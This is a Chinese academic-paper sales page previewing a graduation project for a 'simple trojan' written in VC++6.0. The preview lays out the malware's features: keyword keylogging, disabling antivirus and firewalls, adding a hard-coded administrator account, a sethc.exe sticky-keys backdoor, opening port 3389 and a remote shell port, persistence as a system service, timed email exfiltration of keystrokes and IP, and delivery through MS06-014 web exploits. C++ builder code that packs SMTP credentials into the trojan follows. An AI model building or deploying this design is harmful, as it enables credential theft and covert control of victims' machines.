优秀的毕业设计论文网
分享到:QQ空间新浪微博腾讯微博QQ好友微信豆瓣网人人网腾讯朋友百度贴吧天涯社区复制网址
ASP ASP.NET VB.NET JSP JAVA VBC++ Delphi PHP VFP PB 网络 计算机
返回首页
当前位置: 主页 > 计算机毕业设计 > C++ >

142_一个简单木马程序(VC++6.0)

来源:  资料编号:TH149610214  文件类型:  资料等级: %D7%CA%C1%CF%B1%E0%BA%C5%A3%BATH149610214
以下是大纲或介绍,如需要完整的资料请购买.  
提示:本资料已审核过,内容严格保密,格式标准,质量保证.
1.无需注册,购买下载后即可获取该完整资料.
2.本站提供下载链接或联系客服发送资料.

2 需求分析
2.1 程序要求
木马要求有如下功能:记录具有某些关健字的键盘输入,关闭杀毒软件防火墙,定时向指定邮箱发送邮件,添加系统管理员,替换系统目录下sethc.exe为cmd.exe,打开3389端口,打开用户设定端口,开启CMD权限,把程序自身复制到系统目录下,并设为系统服务实现开机自启动,获取本机IP地址。
通过网页木马下载并运用该木马程序,网页可用MS06-014或者是MS07-004以及更新的漏洞,实现对未打补丁,杀毒软件,防火墙久未更新的系统中招。
配置程序能对邮箱地址进行测试,能设定发信时间,能设定直接连接端口。 【买计算机毕业论文就到www.think58.com】 think58好,好think58

2.2 辅助程序图
图1中程序在输入SMTP和邮箱用户名及密码后,能对该邮箱发送一封测试邮件。能把SMTP,邮箱用户名,密码,定时发信时间,连接端口部分加密后,追加到木马尾部,使得木马运行时,从尾部读取信息。

图1 配置木马程序图
配置时,填好SMTP和UserName以及PassWord后,可以点击 发送测试邮件。便可到邮箱中,查看是否发送成功。以我自己的邮箱为例,下图为测试图:

图2 发送测试邮件
图3实现把文件2追加到文件1尾部。

图3 合并文件图

think58好,好think58

2.3 木马程序功能说明
1. 记录用户键盘输入。记录有如下关键字的:密码,登录,管理,后台,学院,邮箱,系统,远程桌面,管理,Internet, manage, pass, login, cmd.exe, Firefox, Browser
2. 获取本机IP地址
3. 添加管理员admin$密码admin888
4. 替换系统目录下的sethc.exe为cmd.exe。实现出现系统登录时,不需要知道密码,连按5次SHIFT,就可以调出CMD.EXE,可在CMD.EXE中执行添加管理员的命令,也可以执行EXPLORER.EXE,进而打开桌面等。而远程桌面登录时,也可以通过此项调出CMD.EXE程序
5. 关闭常见防火墙和杀毒软件
6. 打开3389端口
7. 定时向指定邮箱发送邮件,内容为本机IP和键盘输入
8. 打开设定端口,取得目标主机的cmd权限
9. 把程序安装成服务,实现自启动
10.使用Ms06-014网页木马
11.编写两个辅助程序
3 程序设计
3.1 辅佐程序设计
为了使用配置程序,需要设两个辅助程序,来实现合并程序,生成木马程序并将配置文件写入木马程序中。通过VC++6.0,建一个如图1的MFC程序。第一个文件读取按钮,代码如下:
void CAddTwoDlg::OnBtnfile1()
{
CFileDialog dlg(true);
if(dlg.DoModal()==IDOK) think58好,好think58
{
m_file1=dlg.GetPathName();
UpdateData(0); //将取得的文件名更新到文本框1中
}
}
配置木马程序代码:
void CNneDlg::OnBtnmake()
{
UpdateData(1);
char path[256]={0}; //文件2 从文件1中分离出来
GetCurrentDirectory(256,path) ;//取得当前文件夹路径!
CString file1;
CString file2;
file1.Format("%s\\config.exe",path);
file2.Format("%s\\trojan.exe",path);
CFile fSource(file1,CFile::modeRead | CFile::modeNoTruncate);
int iSourceLength = fSource.GetLength();
fSource.Seek(iSourceLength-30,CFile::begin);
char buffer[40];
ZeroMemory(buffer,40);
fSource.Read(buffer,30);
int iTargetLength = atoi(buffer);
fSource.Seek(iSourceLength-iTargetLength-30,CFile::begin);
CFile fTarget(file2,CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
char *pBuffer = new char[iTargetLength];
ZeroMemory(pBuffer,iTargetLength);
fSource.Read(pBuffer,iTargetLength);

think58.com


fTarget.Write(pBuffer,iTargetLength);
delete []pBuffer;
fSource.Close();
fTarget.Close();
CString file3; //将配置写入一文本文件
file3.Format("%s\\config.txt",path);
FILE *pFile=fopen(file3,"w+");
fwrite(m_smtp,1,m_smtp.GetLength(),pFile);
char ch=10;
fputc(ch,pFile);
//将邮箱用户名加密
fwrite(encrypt(m_username),1,encrypt(m_username).GetLength(),pFile);
fwrite(m_username,1,m_username.GetLength(),pFile);
fputc(ch,pFile);
fwrite(m_password,1,m_password.GetLength(),pFile);
fputc(ch,pFile);
CString xxx;
GetDlgItemText(IDC_EDIT_time,xxx);
fwrite(xxx,1,xxx.GetLength(),pFile);
fputc(ch,pFile);
CString pport;
GetDlgItemText(IDC_EDIT_port,pport);
fwrite(pport,1,pport.GetLength(),pFile);
fputc(ch,pFile);
fclose(pFile);

think58.com



对我有帮助
(1)
100%
暂时不需要
(0)
0%
------分隔线----------------------------
推荐内容